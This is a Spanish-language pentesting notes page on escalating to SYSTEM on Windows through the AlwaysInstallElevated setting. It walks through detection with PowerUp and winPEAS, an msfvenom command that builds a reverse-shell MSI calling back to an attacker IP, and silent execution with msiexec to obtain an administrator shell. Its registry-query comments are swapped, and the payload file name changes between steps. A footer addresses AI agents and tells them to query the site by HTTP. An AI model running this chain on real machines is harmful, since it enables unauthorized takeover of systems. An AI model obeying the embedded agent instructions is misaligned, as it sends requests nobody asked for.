# AlwaysInstallElevated

AlwaysInstallElevated es una configuración de Windows que permite a los usuarios instalar paquetes MSI (Windows Installer) con privilegios elevados (SYSTEM), incluso desde contextos de usuario sin privilegios administrativos.

Si lo tenemos activado, podemos escalar privilegios mediante un archivo malicioso .msi

#### **Paso 1:Detección del privilegio**

* [**PowerUp.ps1**](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1)

```
# Descargar el script
iwr http://192.168.45.154/PowerUp.ps1 -o PowerUp.ps1

# Ejecutar checks
. .\PowerUp.ps1
Invoke-AllChecks
```

* [winPeas](https://github.com/peass-ng/PEASS-ng)

```
C:\Windows\Temp\Privesc>winPeas.exe
```

<figure><img src="/files/tCwMtjn2zj8RFVIlow20" alt=""><figcaption></figcaption></figure>

* Manualmente

**Ambas claves deben tener `AlwaysInstallElevated REG_DWORD 0x1`**

```
# Verificar clave del registro HKLM
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

# Verificar clave del registro HKCU  
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

#### **Paso 2:Creación de la Reverse Shell**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.154 LPORT=445 -f msi > notavirus.msi
```

<figure><img src="/files/XWpAXkfDj4qy7s9ez462" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Transferencia y ejecución**

Nos subimos el archivo malicioso a través de un servidor en Python.

<figure><img src="/files/lUiMEKVsaRo3DucV9PmB" alt=""><figcaption></figcaption></figure>

Y lo ejecutamos estando en escucha por el puerto elegido:

```
msiexec /quiet /qn /i reverse.msi
# Los parámetros /quiet y /qn evitan interfaces gráfica
```

Nos debe de dar la Shell como Administrador:

<figure><img src="/files/5L09VQW6rNCXAJfoO39K" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/alwaysinstallelevated.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
